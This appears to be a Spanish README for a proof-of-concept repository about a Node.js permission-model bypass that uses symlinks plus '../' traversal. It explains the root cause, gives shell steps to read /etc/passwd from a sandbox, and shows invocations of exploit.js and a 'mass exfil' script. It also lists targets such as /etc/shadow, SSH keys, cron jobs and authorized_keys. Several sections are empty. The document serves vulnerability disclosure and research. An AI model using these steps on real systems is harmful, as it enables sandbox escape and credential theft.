___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js Permission Model Bypass via Crafted Symlinks
[ Discovered by natann @ JFrog ]
Descripción general
Una falla de path traversal en Node.js permite salir de las restricciones de permiso de --allow-fs-read y --allow-fs-write
mediante enlaces simbólicos que apuntan a rutas absolutas combinados con traversal relativo.
La comprobación de permisos y la resolución de rutas ocurren por separado. Una vez que la ruta inicial supera la
comprobación de permisos, se sigue el enlace simbólico y las secuencias de traversal escapan del sandbox.
Versiones afectadas
Análisis técnico
Causa raíz
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
El modelo de permisos valida la cadena de ruta antes de la resolución del enlace simbólico. Al crear un enlace simbólico
a una ruta absoluta y usar traversal ../ DESPUÉS del enlace simbólico, logramos escapar del directorio permitido.
Flujo del ataque
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
Archivos
| Archivo | Propósito |
|---|
exploit.js | Exploit principal - leer archivos arbitrarios |
exploit_write.js |
Uso
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Impacto
- Leer archivos sensibles: /etc/passwd, /etc/shadow, claves SSH, configuraciones
- Escribir archivos arbitrarios: cron jobs, authorized_keys, configuraciones
- Escape del contenedor en entornos multiinquilino
- Bypass del sandbox para ejecución de código no confiable
Referencias
Créditos
- Vulnerabilidad: Natan Nehorai (natann) @ JFrog Security Research
- Corrección: RafaelGSS @ Node.js
Solo para investigación y pruebas autorizadas.